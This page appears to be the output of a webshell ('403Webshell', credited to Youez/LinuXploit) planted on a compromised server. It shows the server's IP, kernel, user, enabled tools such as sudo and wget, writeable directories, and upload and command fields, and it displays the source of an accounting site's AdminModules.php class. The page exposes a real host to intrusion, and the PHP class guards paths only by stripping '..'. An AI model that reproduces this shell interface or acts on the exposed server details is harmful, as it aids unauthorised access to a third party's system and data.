403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/dev/app/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/dev/app/classes/AdminModules.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of Modules
 *
 * @author Maroš
 */

namespace app\classes;

class AdminModules {

    private static $ms_instance;
    private $ms_modules = array();
    private $ms_head = false;
    private $ms_footer = false;
    private $ms_content = false;
    private $ms_widgetsList = array();
    private $ms_modulesArray;

    private function __construct() {
        $path = DOCUMENT_ROOT . "modules";
        foreach (scandir($path) as $module) {
            if ($module === "." || $module === "..") {
                continue;
            }
            $this->ms_modulesArray[] = $module;
            $this->ms_modules[$module] = array();
            $leftMenu = $path . "/" . $module . "/admin/templates/left-menu.php";
            file_exists($leftMenu) ? $this->ms_modules[$module]["left-menu"] = $leftMenu : "";
        }
    }

    /**
     * @return AdminModules
     */
    public static function getInstance() {
        if (AdminModules::$ms_instance == NULL) {
            AdminModules::$ms_instance = new AdminModules();
        }
        return AdminModules::$ms_instance;
    }

    public function renderLeftMenu() {
        foreach ($this->ms_modules as $key => $module) {
            if (key_exists("left-menu", $module)) {
                require $module["left-menu"];
            }
        }
    }

    public function verifyPath($module, $modulePage, $prepare = true) {
        $module = str_replace("..", "", $module);
        $modulePage = str_replace("..", "", $modulePage);
        $moduleNameArray = explode("-", $module);
        $moduleName = is_array($moduleNameArray) ? lcfirst(implode("", array_map("ucfirst", $moduleNameArray))) : $module;
        if (realpath(DOCUMENT_ROOT . "modules" . "/" . $moduleName) && realpath(DOCUMENT_ROOT . "modules" . "/" . $moduleName . "/admin/templates/" . $modulePage)) {
            if ($prepare) {
                $this->ms_content = realpath(DOCUMENT_ROOT . "modules" . "/" . $moduleName . "/admin/templates/" . $modulePage . "/content.php");
                $this->ms_head = realpath(DOCUMENT_ROOT . "modules" . "/" . $moduleName . "/admin/templates/" . $modulePage . "/head.php");
                $this->ms_footer = realpath(DOCUMENT_ROOT . "modules" . "/" . $moduleName . "/admin/templates/" . $modulePage . "/footer.php");
                $this->ms_prepare = realpath(DOCUMENT_ROOT . "modules" . "/" . $moduleName . "/admin/templates/" . $modulePage . "/prepare.php");
            }
            return true;
        }
        return false;
    }

    public function getContent() {
        return $this->ms_content;
    }

    public function getPrepare() {
        return $this->ms_prepare;
    }

    public function prepare() {
        $this->ms_prepare === false ? "" : require $this->ms_prepare;
    }

    public function renderContent() {
        $this->ms_content === false ? "" : require $this->ms_content;
    }

    public function renderHead() {
        $this->ms_head === false ? "" : require $this->ms_head;
    }

    public function renderFooter() {
        $this->ms_footer === false ? "" : require $this->ms_footer;
    }

    public function getWidgetsList() {
        if (count($this->ms_widgetsList) === 0) {
            foreach ($this->ms_modulesArray as $module) {
                foreach (scandir(DOCUMENT_ROOT . "modules/" . $module . "/widgets") as $widget) {
                    if ($widget === "." || $widget === "..") {
                        continue;
                    }
                    $widgetClassPath = "modules\\" . $module . "\\widgets\\" . $widget . "\\" . ucfirst($widget) . "Widget";
                    if (is_subclass_of($widgetClassPath, "app\\classes\\Widget")) {
                        $this->ms_widgetsList[$widgetClassPath] = call_user_func($widgetClassPath . '::getName');
                    }
                }
            }
        }
        return $this->ms_widgetsList;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit